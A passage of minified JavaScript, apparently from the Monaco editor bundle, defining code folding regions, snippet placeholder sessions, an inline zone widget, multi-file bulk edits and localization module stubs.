d.Selection(e.range.startLineNumber,e.range.startColumn,e.range.endLineNumber,e.range.endColumn)}),n=this._editor.getSelection(),i=0,o=t.length;i<o;i++)if(t[i].equalsRange(n)){t=[n].concat(t.slice(0,i)).concat(t.slice(i+1));break}this._editor.setSelections(t)}},e.prototype._executeEditorCommand=function(e,t){try{this._ignoreModelContentChanged=!0,this._editor.pushUndoStop(),this._editor.executeCommand(e,t),this._editor.pushUndoStop()}finally{this._ignoreModelContentChanged=!1}},e}();t.FindModelBoundToEditorModel=f}),define(d[333],h([1,0,20,2,34]),function(e,t,n,i,o){\"use strict\";function r(e,t,n){for(var i=null,o=0,r=e.length;o<r;o++){var s=e[o],l=s.getDecorationRange(t);if(l&&(a(l,n)&&(i=s),u(l,n)))break}return i}function s(e,t,n,i){for(var o=e.indexOf(n)+1;o<e.length;o++){var r=e[o],s=r.getDecorationRange(t);if(s&&u(s,i)){if(!c(n.foldingRange,s))return null;if(r.isCollapsed)return r}}return null}function a(e,t){return t>=e.startLineNumber&&t<=e.endLineNumber}function u(e,t){return t<e.startLineNumber}function l(e,t){return t>e.endLineNumber}function c(e,t){return e instanceof i.Range&&t instanceof i.Range?e.containsRange(t):e.startLineNumber<=t.startLineNumber&&e.endLineNumber>=t.endLineNumber}function d(e,t,n,i,o){return(o?new f(e,t,n):new p(e,t,n)).getRegionsTill(i)}Object.defineProperty(t,\"__esModule\",{value:!0}),t.toString=function(e){return(e?e.startLineNumber+\"/\"+e.endLineNumber:\"null\")+(e.isCollapsed?\" (collapsed)\":\"\")+\" - \"+e.indent};var h=function(){function e(e,t,n){this.decorationIds=[],this.update(e,t,n)}return Object.defineProperty(e.prototype,\"isCollapsed\",{get:function(){return this._isCollapsed},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"isExpanded\",{get:function(){return!this._isCollapsed},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"indent\",{get:function(){return this._indent},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"foldingRange\",{get:function(){return this._lastRange},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"startLineNumber\",{get:function(){return this._lastRange?this._lastRange.startLineNumber:void 0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"endLineNumber\",{get:function(){return this._lastRange?this._lastRange.endLineNumber:void 0},enumerable:!0,configurable:!0}),e.prototype.setCollapsed=function(e,t){this._isCollapsed=e,this.decorationIds.length>0&&t.changeDecorationOptions(this.decorationIds[0],this.getVisualDecorationOptions())},e.prototype.getDecorationRange=function(e){return this.decorationIds.length>0?e.getDecorationRange(this.decorationIds[1]):null},e.prototype.getVisualDecorationOptions=function(){return this._isCollapsed?e._COLLAPSED_VISUAL_DECORATION:e._EXPANDED_VISUAL_DECORATION},e.prototype.getRangeDecorationOptions=function(){return e._RANGE_DECORATION},e.prototype.update=function(e,t,n){this._lastRange=e,this._isCollapsed=!!e.isCollapsed,this._indent=e.indent;var i=[],o=t.getLineMaxColumn(e.startLineNumber),r={startLineNumber:e.startLineNumber,startColumn:o-1,endLineNumber:e.startLineNumber,endColumn:o};i.push({range:r,options:this.getVisualDecorationOptions()});var s={startLineNumber:e.startLineNumber,startColumn:1,endLineNumber:e.endLineNumber,endColumn:t.getLineMaxColumn(e.endLineNumber)};i.push({range:s,options:this.getRangeDecorationOptions()}),this.decorationIds=n.deltaDecorations(this.decorationIds,i)},e.prototype.dispose=function(e){this._lastRange=null,this.decorationIds=e.deltaDecorations(this.decorationIds,[])},e.prototype.toString=function(){var e=this.isCollapsed?\"collapsed \":\"expanded \";return this._lastRange?e+=this._lastRange.startLineNumber+\"/\"+this._lastRange.endLineNumber:e+=\"no range\",e},e._COLLAPSED_VISUAL_DECORATION=o.ModelDecorationOptions.register({stickiness:n.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,afterContentClassName:\"inline-folded\",linesDecorationsClassName:\"folding collapsed\"}),e._EXPANDED_VISUAL_DECORATION=o.ModelDecorationOptions.register({stickiness:n.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,linesDecorationsClassName:\"folding\"}),e._RANGE_DECORATION=o.ModelDecorationOptions.register({stickiness:n.TrackedRangeStickiness.GrowsOnlyWhenTypingBefore}),e}();t.CollapsibleRegion=h,t.getCollapsibleRegionsToFoldAtLine=function(e,t,n,i,o){var s=r(e,t,n);return s?1===i?[s]:d(s,e,t,i,o).filter(function(e){return!e.isCollapsed}):[]},t.getCollapsibleRegionsToUnfoldAtLine=function(e,t,n,i){var o=r(e,t,n);if(!o)return[];if(1===i){var a=o.isCollapsed?o:s(e,t,o,n);return a?[a]:[]}return d(o,e,t,i,!1).filter(function(e){return e.isCollapsed})},t.doesLineBelongsToCollapsibleRegion=a;var p=function(){function e(e,t,n){this.region=e,this.children=[];for(var i=t.indexOf(e)+1;i<t.length;i++){var o=t[i],r=o.getDecorationRange(n);if(r&&(c(e.foldingRange,r)&&(i=this.processChildRegion(o,t,n,i)),u(r,e.foldingRange.endLineNumber)))break}}return e.prototype.processChildRegion=function(t,n,i,o){var r=new e(t,n,i);return this.children.push(r),this.lastChildIndex=o,r.children.length>0?r.lastChildIndex:o},e.prototype.getRegionsTill=function(e){var t=[this.region];return e>1&&this.children.forEach(function(n){return t=t.concat(n.getRegionsTill(e-1))}),t},e}(),f=function(){function e(t,n,i){this.region=t;for(var o=n.indexOf(t)-1;o>=0;o--){var r=n[o],s=r.getDecorationRange(i);if(s){if(c(s,t.foldingRange)){this.parent=new e(r,n,i);break}if(l(s,t.foldingRange.endLineNumber))break}}}return e.prototype.getRegionsTill=function(e){var t=[this.region];return this.parent&&e>1&&(t=t.concat(this.parent.getRegionsTill(e-1))),t},e}()}),define(d[334],h([1,0,9,20,59,142,22,2,33,3,271,34,394]),function(e,t,n,i,o,r,s,a,u,l,c,d){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var h=function(){function e(e,t,n){this._nestingLevel=1,this._editor=e,this._snippet=t,this._offset=n,this._placeholderGroups=u.groupBy(t.placeholders,r.Placeholder.compareByIndex),this._placeholderGroupsIdx=-1}return e.prototype.dispose=function(){var e=this;this._placeholderDecorations&&this._editor.changeDecorations(function(t){return e._placeholderDecorations.forEach(function(e){return t.removeDecoration(e)})}),this._placeholderGroups.length=0},e.prototype._initDecorations=function(){var t=this;if(!this._placeholderDecorations){this._placeholderDecorations=new Map;var n=this._editor.getModel();this._editor.changeDecorations(function(i){for(var o=0,r=t._snippet.placeholders;o<r.length;o++){var s=r[o],u=t._snippet.offset(s),l=t._snippet.fullLen(s),c=a.Range.fromPositions(n.getPositionAt(t._offset+u),n.getPositionAt(t._offset+u+l)),d=s.isFinalTabstop?e._decor.inactiveFinal:e._decor.inactive,h=i.addDecoration(c,d);t._placeholderDecorations.set(s,h)}})}},e.prototype.move=function(t){var n=this;return this._initDecorations(),!0===t&&this._placeholderGroupsIdx<this._placeholderGroups.length-1?this._placeholderGroupsIdx+=1:!1===t&&this._placeholderGroupsIdx>0&&(this._placeholderGroupsIdx-=1),this._editor.getModel().changeDecorations(function(t){for(var i=new Set,o=[],r=0,a=n._placeholderGroups[n._placeholderGroupsIdx];r<a.length;r++){var u=a[r],l=n._placeholderDecorations.get(u),c=n._editor.getModel().getDecorationRange(l);o.push(new s.Selection(c.startLineNumber,c.startColumn,c.endLineNumber,c.endColumn)),t.changeDecorationOptions(l,u.isFinalTabstop?e._decor.activeFinal:e._decor.active),i.add(u);for(var d=0,h=n._snippet.enclosingPlaceholders(u);d<h.length;d++){var p=h[d],f=n._placeholderDecorations.get(p);t.changeDecorationOptions(f,p.isFinalTabstop?e._decor.activeFinal:e._decor.active),i.add(p)}}return n._placeholderDecorations.forEach(function(n,o){i.has(o)||t.changeDecorationOptions(n,o.isFinalTabstop?e._decor.inactiveFinal:e._decor.inactive)}),o})},Object.defineProperty(e.prototype,\"isAtFirstPlaceholder\",{get:function(){return this._placeholderGroupsIdx<=0||0===this._placeholderGroups.length},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"isAtLastPlaceholder\",{get:function(){return this._placeholderGroupsIdx===this._placeholderGroups.length-1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"hasPlaceholder\",{get:function(){return this._snippet.placeholders.length>0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"placeholderRanges\",{get:function(){var e=this,t=[];return this._placeholderDecorations.forEach(function(n,i){if(!i.isFinalTabstop){var o=e._editor.getModel().getDecorationRange(n);o&&t.push(o)}}),t},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"choice\",{get:function(){return this._placeholderGroups[this._placeholderGroupsIdx][0].choice},enumerable:!0,configurable:!0}),e.prototype.merge=function(t){var n=this,i=this._editor.getModel();this._nestingLevel*=10,this._editor.changeDecorations(function(o){for(var s=0,l=n._placeholderGroups[n._placeholderGroupsIdx];s<l.length;s++){var c=l[s],d=t.shift();console.assert(!d._placeholderDecorations);for(var h=0,p=d._snippet.placeholders;h<p.length;h++){var f=p[h];f.isFinalTabstop?f.index=c.index+d._snippet.placeholders.length/n._nestingLevel:f.index=c.index+f.index/n._nestingLevel}n._snippet.replace(c,d._snippet.children);var g=n._placeholderDecorations.get(c);o.removeDecoration(g),n._placeholderDecorations.delete(c);for(var m=0,v=d._snippet.placeholders;m<v.length;m++){var _=v[m],y=d._snippet.offset(_),C=d._snippet.fullLen(_),b=a.Range.fromPositions(i.getPositionAt(d._offset+y),i.getPositionAt(d._offset+y+C)),w=o.addDecoration(b,e._decor.inactive);n._placeholderDecorations.set(_,w)}}n._placeholderGroups=u.groupBy(n._snippet.placeholders,r.Placeholder.compareByIndex)})},e._decor={active:d.ModelDecorationOptions.register({stickiness:i.TrackedRangeStickiness.AlwaysGrowsWhenTypingAtEdges,className:\"snippet-placeholder\"}),inactive:d.ModelDecorationOptions.register({stickiness:i.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,className:\"snippet-placeholder\"}),activeFinal:d.ModelDecorationOptions.register({stickiness:i.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,className:\"finish-snippet-placeholder\"}),inactiveFinal:d.ModelDecorationOptions.register({stickiness:i.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,className:\"finish-snippet-placeholder\"})},e}();t.OneSnippet=h;var p=function(){function e(e,t,n,i){void 0===n&&(n=0),void 0===i&&(i=0),this._snippets=[],this._editor=e,this._template=t,this._overwriteBefore=n,this._overwriteAfter=i}return e.adjustWhitespace=function(e,t,i){for(var o=e.getLineContent(t.lineNumber),r=n.getLeadingWhitespace(o,0,t.column-1),s=i.split(/\\r\\n|\\r|\\n/),a=1;a<s.length;a++){var u=n.getLeadingWhitespace(s[a]);s[a]=e.normalizeIndentation(r+u)+s[a].substr(u.length)}return s.join(e.getEOL())},e.adjustSelection=function(e,t,n,i){if(0!==n||0!==i){var o=t.startLineNumber,r=t.startColumn,u=t.endLineNumber,l=t.endColumn;r-=n,l+=i;var c=e.validateRange(a.Range.plusRange(t,{startLineNumber:o,startColumn:r,endLineNumber:u,endColumn:l}));t=s.Selection.createWithDirection(c.startLineNumber,c.startColumn,c.endLineNumber,c.endColumn,t.getDirection())}return t},e.createEditsAndSnippets=function(t,n,i,s,u){for(var l=t.getModel(),d=[],p=[],f=0,g=l.getValueInRange(e.adjustSelection(l,t.getSelection(),i,0)),m=l.getValueInRange(e.adjustSelection(l,t.getSelection(),0,s)),v=0,_=t.getSelections().map(function(e,t){return{selection:e,idx:t}}).sort(function(e,t){return a.Range.compareRangesUsingStarts(e.selection,t.selection)});v<_.length;v++){var y=_[v],C=y.selection,b=y.idx,w=e.adjustSelection(l,C,i,0),S=e.adjustSelection(l,C,0,s);g!==l.getValueInRange(w)&&(w=C),m!==l.getValueInRange(S)&&(S=C);var E=C.setStartPosition(w.startLineNumber,w.startColumn).setEndPosition(S.endLineNumber,S.endColumn),L=E.getStartPosition(),x=e.adjustWhitespace(l,L,n),N=(new r.SnippetParser).parse(x,!0,u).resolveVariables(new c.EditorSnippetVariableResolver(l,C)),M=l.getOffsetAt(L)+f;f+=N.toString().length-l.getValueLengthInRange(E),d[b]=o.EditOperation.replace(E,N.toString()),p[b]=new h(t,N,M)}return{edits:d,snippets:p}},e.prototype.dispose=function(){l.dispose(this._snippets)},e.prototype.insert=function(){var t=this,n=this._editor.getModel(),i=e.createEditsAndSnippets(this._editor,this._template,this._overwriteBefore,this._overwriteAfter,!1),o=i.edits,r=i.snippets;this._snippets=r,this._editor.setSelections(n.pushEditOperations(this._editor.getSelections(),o,function(e){return t._snippets[0].hasPlaceholder?t._move(!0):e.map(function(e){return s.Selection.fromPositions(e.range.getEndPosition())})}))},e.prototype.merge=function(t,n,i){var o=this;void 0===n&&(n=0),void 0===i&&(i=0);var r=e.createEditsAndSnippets(this._editor,t,n,i,!0),a=r.edits,u=r.snippets;this._editor.setSelections(this._editor.getModel().pushEditOperations(this._editor.getSelections(),a,function(e){for(var t=0,n=o._snippets;t<n.length;t++)n[t].merge(u);return console.assert(0===u.length),o._snippets[0].hasPlaceholder?o._move(void 0):e.map(function(e){return s.Selection.fromPositions(e.range.getEndPosition())})}))},e.prototype.next=function(){var e=this._move(!0);this._editor.setSelections(e)},e.prototype.prev=function(){var e=this._move(!1);this._editor.setSelections(e)},e.prototype._move=function(e){for(var t=[],n=0,i=this._snippets;n<i.length;n++){var o=i[n].move(e);t.push.apply(t,o)}return t},Object.defineProperty(e.prototype,\"isAtFirstPlaceholder\",{get:function(){return this._snippets[0].isAtFirstPlaceholder},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"isAtLastPlaceholder\",{get:function(){return this._snippets[0].isAtLastPlaceholder},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"hasPlaceholder\",{get:function(){return this._snippets[0].hasPlaceholder},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"choice\",{get:function(){return this._snippets[0].choice},enumerable:!0,configurable:!0}),e.prototype.isSelectionWithinPlaceholders=function(){if(!this.hasPlaceholder)return!1;var e=this._editor.getSelections();if(e.length<this._snippets.length)return!1;for(var t=[],n=0,i=this._snippets;n<i.length;n++){var o=i[n];t.push.apply(t,o.placeholderRanges)}if(e.length>t.length)return!1;e.sort(a.Range.compareRangesUsingStarts),t.sort(a.Range.compareRangesUsingStarts);e:for(var r=0,s=e;r<s.length;r++){for(var u=s[r],l=void 0;l=t.shift();)if(l.containsRange(u))continue e;return!1}return!0},e}();t.SnippetSession=p}),define(d[183],h([1,0,3,41,26,4,99,2,32,34,108,399]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var d=u.Color.fromRGBA(new u.RGBA(0,122,204)),h={showArrow:!0,showFrame:!0,className:\"\",frameColor:d,arrowColor:d},p=function(){function e(e,t,n,i,o,r){this.domNode=e,this.afterLineNumber=t,this.afterColumn=n,this.heightInLines=i,this._onDomNodeTop=o,this._onComputedHeight=r}return e.prototype.onDomNodeTop=function(e){this._onDomNodeTop(e)},e.prototype.onComputedHeight=function(e){this._onComputedHeight(e)},e}();t.ViewZoneDelegate=p;var g=function(){function e(e,t){this._id=e,this._domNode=t}return e.prototype.getId=function(){return this._id},e.prototype.getDomNode=function(){return this._domNode},e.prototype.getPosition=function(){return null},e}();t.OverlayWidgetDelegate=g;var m=function(){function e(t){this._editor=t,this._ruleName=e._IdGenerator.nextId(),this._decorations=[]}return e.prototype.dispose=function(){this.hide(),r.removeCSSRulesContainingSelector(this._ruleName)},Object.defineProperty(e.prototype,\"color\",{set:function(e){this._color!==e&&(this._color=e,this._updateStyle())},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"height\",{set:function(e){this._height!==e&&(this._height=e,this._updateStyle())},enumerable:!0,configurable:!0}),e.prototype._updateStyle=function(){r.removeCSSRulesContainingSelector(this._ruleName),r.createCSSRule(\".monaco-editor \"+this._ruleName,\"border-style: solid; border-color: transparent; border-bottom-color: \"+this._color+\"; border-width: \"+this._height+\"px; bottom: -\"+this._height+\"px; margin-left: -\"+this._height+\"px; \")},e.prototype.show=function(e){this._decorations=this._editor.deltaDecorations(this._decorations,[{range:a.Range.fromPositions(e),options:{className:this._ruleName}}])},e.prototype.hide=function(){this._editor.deltaDecorations(this._decorations,[])},e._IdGenerator=new c.IdGenerator(\".arrow-decoration-\"),e}(),v=function(e){function t(t,n){void 0===n&&(n={});var i=e.call(this)||this;return i._positionMarkerId=[],i._disposables=[],i._isShowing=!1,i.editor=t,i.options=o.clone(n),o.mixin(i.options,h,!1),i.domNode=document.createElement(\"div\"),i.options.isAccessible||(i.domNode.setAttribute(\"aria-hidden\",\"true\"),i.domNode.setAttribute(\"role\",\"presentation\")),i._disposables.push(i.editor.onDidLayoutChange(function(e){var t=i._getWidth(e);i.domNode.style.width=t+\"px\",i._onWidth(t)})),i}return f(t,e),t.prototype.dispose=function(){var e=this;n.dispose(this._disposables),this._overlayWidget&&(this.editor.removeOverlayWidget(this._overlayWidget),this._overlayWidget=null),this._viewZone&&this.editor.changeViewZones(function(t){t.removeZone(e._viewZone.id),e._viewZone=null}),this.editor.deltaDecorations(this._positionMarkerId,[])},t.prototype.create=function(){r.addClass(this.domNode,\"zone-widget\"),r.addClass(this.domNode,this.options.className),this.container=document.createElement(\"div\"),r.addClass(this.container,\"zone-widget-container\"),this.domNode.appendChild(this.container),this.options.showArrow&&(this._arrow=new m(this.editor),this._disposables.push(this._arrow)),this._fillContainer(this.container),this._initSash(),this._applyStyles()},t.prototype.style=function(e){e.frameColor&&(this.options.frameColor=e.frameColor),e.arrowColor&&(this.options.arrowColor=e.arrowColor),this._applyStyles()},t.prototype._applyStyles=function(){if(this.container){var e=this.options.frameColor.toString();this.container.style.borderTopColor=e,this.container.style.borderBottomColor=e}if(this._arrow){var t=this.options.arrowColor.toString();this._arrow.color=t}},t.prototype._getWidth=function(e){return void 0===e&&(e=this.editor.getLayoutInfo()),e.width-e.minimapWidth-e.verticalScrollbarWidth},t.prototype._onViewZoneTop=function(e){this.domNode.style.top=e+\"px\"},t.prototype._onViewZoneHeight=function(e){this.domNode.style.height=e+\"px\";var t=e-this._decoratingElementsHeight();this.container.style.height=t+\"px\",this._doLayout(t,this._getWidth()),this._resizeSash.layout()},Object.defineProperty(t.prototype,\"position\",{get:function(){var e=this._positionMarkerId[0];if(e)return this.editor.getModel().getDecorationRange(e).getStartPosition()},enumerable:!0,configurable:!0}),t.prototype.show=function(e,t){var n=a.Range.isIRange(e)?e:new a.Range(e.lineNumber,e.column,e.lineNumber,e.column);this._isShowing=!0,this._showImpl(n,t),this._isShowing=!1,this._positionMarkerId=this.editor.deltaDecorations(this._positionMarkerId,[{range:n,options:l.ModelDecorationOptions.EMPTY}])},t.prototype.hide=function(){var e=this;this._viewZone&&(this.editor.changeViewZones(function(t){t.removeZone(e._viewZone.id)}),this._viewZone=null),this._overlayWidget&&(this.editor.removeOverlayWidget(this._overlayWidget),this._overlayWidget=null),this._arrow&&this._arrow.hide()},t.prototype._decoratingElementsHeight=function(){var e=this.editor.getConfiguration().lineHeight,t=0;return this.options.showArrow&&(t+=2*Math.round(e/3)),this.options.showFrame&&(t+=2*Math.round(e/9)),t},t.prototype._showImpl=function(e,t){var n=this,i={lineNumber:e.startLineNumber,column:e.startColumn},o=this._getWidth();this.domNode.style.width=o+\"px\";var r=document.createElement(\"div\");r.style.overflow=\"hidden\";var s=this.editor.getConfiguration().lineHeight,a=this.editor.getLayoutInfo().height/s*.8;t>=a&&(t=a);var u=0,l=0;if(this.options.showArrow&&(u=Math.round(s/3),this._arrow.height=u,this._arrow.show(i)),this.options.showFrame&&(l=Math.round(s/9)),this.editor.changeViewZones(function(e){n._viewZone&&e.removeZone(n._viewZone.id),n._overlayWidget&&(n.editor.removeOverlayWidget(n._overlayWidget),n._overlayWidget=null),n.domNode.style.top=\"-1000px\",n._viewZone=new p(r,i.lineNumber,i.column,t,function(e){return n._onViewZoneTop(e)},function(e){return n._onViewZoneHeight(e)}),n._viewZone.id=e.addZone(n._viewZone),n._overlayWidget=new g(\"vs.editor.contrib.zoneWidget\"+n._viewZone.id,n.domNode),n.editor.addOverlayWidget(n._overlayWidget)}),this.options.showFrame){var c=this.options.frameWidth?this.options.frameWidth:l;this.container.style.borderTopWidth=c+\"px\",this.container.style.borderBottomWidth=c+\"px\"}var d=t*s-this._decoratingElementsHeight();this.container.style.top=u+\"px\",this.container.style.height=d+\"px\",this.container.style.overflow=\"hidden\",this._doLayout(d,o),this.editor.setSelection(e);var h=Math.min(this.editor.getModel().getLineCount(),Math.max(1,e.endLineNumber+1));this.editor.revealLine(h)},t.prototype.setCssClass=function(e,t){t&&this.container.classList.remove(t),r.addClass(this.container,e)},t.prototype._onWidth=function(e){},t.prototype._doLayout=function(e,t){},t.prototype._relayout=function(e){var t=this;this._viewZone.heightInLines!==e&&this.editor.changeViewZones(function(n){t._viewZone.heightInLines=e,n.layoutZone(t._viewZone.id)})},t.prototype._initSash=function(){var e=this;this._resizeSash=new s.Sash(this.domNode,this,{orientation:s.Orientation.HORIZONTAL}),this.options.isResizeable||(this._resizeSash.hide(),this._resizeSash.disable());var t;this._disposables.push(this._resizeSash.addListener(\"start\",function(n){e._viewZone&&(t={startY:n.startY,heightInLines:e._viewZone.heightInLines})})),this._disposables.push(this._resizeSash.addListener(\"end\",function(){t=void 0})),this._disposables.push(this._resizeSash.addListener(\"change\",function(n){if(t){var i=(n.currentY-t.startY)/e.editor.getConfiguration().lineHeight,o=i<0?Math.ceil(i):Math.floor(i),r=t.heightInLines+o;r>5&&r<35&&e._relayout(r)}}))},t.prototype.getHorizontalSashLeft=function(){return 0},t.prototype.getHorizontalSashTop=function(){return parseInt(this.domNode.style.height)-this._decoratingElementsHeight()/2},t.prototype.getHorizontalSashWidth=function(){var e=this.editor.getLayoutInfo();return e.width-e.minimapWidth},t}(i.Widget);t.ZoneWidget=v}),define(d[336],h([6,8]),function(e,t){return e.create(\"vs/editor/common/modes/modesRegistry\",t)}),define(d[337],h([6,8]),function(e,t){return e.create(\"vs/editor/common/services/bulkEdit\",t)}),define(d[338],h([1,0,337,33,157,3,24,7,59,2,22]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";function d(e,t,i){function r(){for(var e,t=0,i=u;t<i.length;t++){var o=i[t];l.hasChanged(o.resource)&&(e||(e=[]),e.push(o.resource.fsPath))}if(e)return n.localize(0,null,e.join(\", \"))}var s,u=[],l=new h(i).start();return{progress:function(e){s=e},add:function(e){u.push.apply(u,e)},finish:function(){if(0===u.length)return a.TPromise.as(void 0);var n=r();if(n)return a.TPromise.wrapError(new Error(n));var i,o;t&&t.getModel()&&(i=t.getModel().uri,o=t.getSelections());var c=new m(e,i,o,u,s);return c.prepare().then(function(e){var t=r();if(t)throw new Error(t);l.stop();var n=c.apply();return c.dispose(),n})},ariaMessage:function(){var e=u.length,t=o.size(o.groupBy(u,function(e){return e.resource.toString()}));return 0===e?n.localize(1,null):e>1&&t>1?n.localize(2,null,e,t):n.localize(3,null,e,t)}}}Object.defineProperty(t,\"__esModule\",{value:!0});var h=function(){function e(e){this._fileService=e}return e.prototype.start=function(){var e,t=Object.create(null);return this._fileService&&(e=this._fileService.onFileChanges(function(e){e.changes.forEach(function(e){var n=String(e.resource),i=t[n];i||(t[n]=i=[]),i.push(e)})})),{stop:function(){return e&&e.dispose()},hasChanged:function(e){return!!t[e.toString()]},allChanges:function(){return i.flatten(o.values(t))}}},e}(),p=function(){function e(e){this._endCursorSelection=null,this._modelReference=e,this._edits=[]}return Object.defineProperty(e.prototype,\"_model\",{get:function(){return this._modelReference.object.textEditorModel},enumerable:!0,configurable:!0}),e.prototype.addEdit=function(e){if(\"number\"==typeof e.newEol&&(this._newEol=e.newEol),e.range||e.newText){var t=void 0;t=e.range?l.Range.lift(e.range):this._model.getFullModelRange(),this._edits.push(u.EditOperation.replaceMove(t,e.newText))}},e.prototype.apply=function(){var e=this;this._edits.length>0&&(this._edits=this._edits.map(function(e,t){return{value:e,index:t}}).sort(function(e,t){var n=l.Range.compareRangesUsingStarts(e.value.range,t.value.range);return 0===n&&(n=e.index-t.index),n}).map(function(e){return e.value}),this._initialSelections=this._getInitialSelections(),this._model.pushEditOperations(this._initialSelections,this._edits,function(t){return e._getEndCursorSelections(t)})),void 0!==this._newEol&&this._model.setEOL(this._newEol)},e.prototype._getInitialSelections=function(){var e=this._edits[0].range;return[new c.Selection(e.startLineNumber,e.startColumn,e.endLineNumber,e.endColumn)]},e.prototype._getEndCursorSelections=function(e){for(var t=0,n=0;n<e.length;n++)for(var i=e[n].range,o=0;o<this._initialSelections.length;o++){var r=this._initialSelections[o];if(l.Range.areIntersectingOrTouching(i,r)){t=n;break}}var s=e[t].range;return this._endCursorSelection=new c.Selection(s.endLineNumber,s.endColumn,s.endLineNumber,s.endColumn),[this._endCursorSelection]},e.prototype.getEndCursorSelection=function(){return this._endCursorSelection},e.prototype.dispose=function(){this._model&&(this._modelReference.dispose(),this._modelReference=null)},e}(),g=function(e){function t(t,n){var i=e.call(this,t)||this;return i._knownInitialSelections=n,i}return f(t,e),t.prototype._getInitialSelections=function(){return this._knownInitialSelections},t}(p),m=function(){function e(e,t,n,i,o){void 0===o&&(o=null),this.progress=o,this._numberOfResourcesToModify=0,this._numberOfChanges=0,this._edits=Object.create(null),this._textModelResolverService=e,this._sourceModel=t,this._sourceSelections=n,this._sourceModelTask=null;for(var r=0,s=i;r<s.length;r++){var a=s[r];this._addEdit(a)}}return e.prototype.resourcesCount=function(){return this._numberOfResourcesToModify},e.prototype.changeCount=function(){return this._numberOfChanges},e.prototype._addEdit=function(e){var t=this._edits[e.resource.toString()];t||(this._edits[e.resource.toString()]=t=[],this._numberOfResourcesToModify+=1),this._numberOfChanges+=1,t.push(e)},e.prototype.prepare=function(){var e=this;if(this._tasks)throw new Error(\"illegal state - already prepared\");this._tasks=[];var t=[];return this.progress&&this.progress.total(2*this._numberOfResourcesToModify),o.forEach(this._edits,function(n){var i=e._textModelResolverService.createModelReference(s.default.parse(n.key)).then(function(t){var i=t.object;if(!i||!i.textEditorModel)throw new Error(\"Cannot load file \"+n.key);var o,r=i.textEditorModel;e._sourceModel&&r.uri.toString()===e._sourceModel.toString()?(e._sourceModelTask=new g(t,e._sourceSelections),o=e._sourceModelTask):o=new p(t),n.value.forEach(function(e){return o.addEdit(e)}),e._tasks.push(o),e.progress&&e.progress.worked(1)});t.push(i)}),a.TPromise.join(t).then(function(t){return e})},e.prototype.apply=function(){var e=this;this._tasks.forEach(function(t){return e.applyTask(t)});var t=null;return this._sourceModelTask&&(t=this._sourceModelTask.getEndCursorSelection()),t},e.prototype.applyTask=function(e){e.apply(),this.progress&&this.progress.worked(1)},e.prototype.dispose=function(){this._tasks=r.dispose(this._tasks)},e}();t.bulkEdit=function(e,t,n,i,o){void 0===o&&(o=null);var r=d(e,t,i);return r.add(n),r.progress(o),r.finish()},t.createBulkEdit=d}),define(d[339],h([6,8]),function(e,t){return e.create(\"vs/editor/common/services/modelServiceImpl\",t)}),define(d[340],h([6,8]),function(e,t){return e.create(\"vs/editor/common/view/editorColorRegistry\",t)}),define(d[341],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/bracketMatching/common/bracketMatching\",t)}),define(d[342],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/caretOperations/common/caretOperations\",t)}),define(d[343],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/caretOperations/common/transpose\",t)}),define(d[344],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/clipboard/browser/clipboard\",t)}),define(d[345],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/comment/common/comment\",t)}),define(d[346],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/contextmenu/browser/contextmenu\",t)}),define(d[347],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/find/browser/findWidget\",t)}),define(d[348],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/find/common/findController\",t)}),define(d[349],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/folding/browser/folding\",t)}),define(d[350],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/format/browser/formatActions\",t)}),define(d[351],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\",t)}),define(d[352],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\",t)}),define(d[353],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/gotoError/browser/gotoError\",t)}),define(d[354],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/hover/browser/hover\",t)}),define(d[355],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/hover/browser/modesContentHover\",t)}),define(d[356],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\",t)}),define(d[357],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/linesOperations/common/linesOperations\",t)}),define(d[358],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/links/browser/links\",t)}),define(d[359],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/multicursor/common/multicursor\",t)}),define(d[360],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/parameterHints/browser/parameterHints\",t)}),define(d[361],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\",t)}),define(d[362],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/quickFix/browser/quickFixCommands\",t)}),define(d[363],h([6,8]),function(e,t){return e.create(\"vs/editor/contrib/referenceSearch/browser/referenceSearch\",t)}),define(d[364],h([6,8]),function(e,t){return 